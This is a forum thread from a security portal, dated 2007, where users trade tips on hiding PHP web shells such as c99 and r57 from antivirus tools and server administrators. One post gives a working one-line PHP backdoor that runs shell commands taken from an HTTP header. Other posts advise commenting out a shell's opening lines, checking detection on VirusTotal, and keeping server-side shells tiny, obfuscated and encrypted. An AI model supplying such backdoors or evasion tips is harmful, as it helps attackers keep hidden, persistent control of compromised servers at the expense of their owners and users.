Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 31, 2023
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 401
Members: 0
Total: 401
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Shell commands injection -> Make c99 or r57 less detectable by antivir programs!
Post new topic  Reply to topic View previous topic :: View next topic 
Make c99 or r57 less detectable by antivir programs!
PostPosted: Sun Jun 24, 2007 6:46 pm Reply with quote
7777777
Regular user
Regular user
 
Joined: Jun 24, 2007
Posts: 8




Hi! this is a fast tip:

Edit the first lines of your php shell like comentaries and some antivir wont detect them! you can try www.virustotal.com to test.

Regards.
View user's profile Send private message
PostPosted: Mon Jun 25, 2007 5:48 am Reply with quote
7777777
Regular user
Regular user
 
Joined: Jun 24, 2007
Posts: 8




So... what shell dou you use then? r57?? Embarassed
View user's profile Send private message
PostPosted: Mon Jun 25, 2007 6:36 am Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




In most cases

Code:
<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?>


Very easy to hide shell like this.r57 and c99 is too big to hide.
View user's profile Send private message
PostPosted: Mon Jun 25, 2007 2:09 pm Reply with quote
barr0w
Regular user
Regular user
 
Joined: May 30, 2007
Posts: 13




I hear that c99 sucks a lot, but what is a better alternative? I have yet to find something better that has an interface in English.
View user's profile Send private message Send e-mail
PostPosted: Mon Jun 25, 2007 5:16 pm Reply with quote
pexli
Valuable expert
Valuable expert
 
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




If one shell have interface she is too big to hide on server.Admin find him and look error.log and your hole will be locked.
View user's profile Send private message
PostPosted: Mon Jun 25, 2007 5:23 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yep, agree with koko. Best shell is, where server-side is minimalistic - only 1-2 lines of code, maybe even somehow obfuscated. And all the nice functionality, which makes this php shell to be userfriendly, is implemented on USER side! Even better - all communications can be encrypted, if serverside and userside scripts are using encryption.

Thats my two cents Smile
View user's profile Send private message Send e-mail Visit poster's website
Make c99 or r57 less detectable by antivir programs!
  www.waraxe.us Forum Index -> Shell commands injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.144 Seconds